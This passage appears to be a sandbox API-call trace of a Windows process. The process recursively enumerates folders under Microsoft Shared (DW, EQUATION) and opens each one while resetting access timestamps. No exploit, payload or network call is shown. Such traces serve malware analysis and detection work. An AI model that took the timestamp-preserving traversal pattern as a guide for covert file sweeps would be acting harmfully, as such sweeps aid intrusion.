dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.314] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.314] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.314] NtClose (Handle=0x160) returned 0x0 [0045.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec048 [0045.314] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0045.315] GetLastError () returned 0x12 [0045.315] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0045.315] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.315] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.315] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0045.316] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0045.316] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0045.316] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0045.316] GetLastError () returned 0x12 [0045.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec048) returned 1 [0045.316] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.316] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0045.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.316] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0045.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.316] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.316] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.316] NtClose (Handle=0x164) returned 0x0 [0045.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec048 [0045.316] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0045.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0045.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9e08 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9e28 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0045.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0045.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9e48 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dce20 [0045.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.318] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9e68 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dcf28 [0045.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.318] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0045.318] GetLastError () returned 0x12 [0045.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.318] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.318] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.318] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0045.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.318] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.319] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.319] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.320] NtClose (Handle=0x164) returned 0x0 [0045.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec158 [0045.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.320] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0045.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec1e0 [0045.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec1e0) returned 1 [0045.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec1e0 [0045.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec1e0) returned 1 [0045.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec1e0 [0045.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec1e0) returned 1 [0045.321] FindNextFileW (in: hFindFile=0x2e9080, 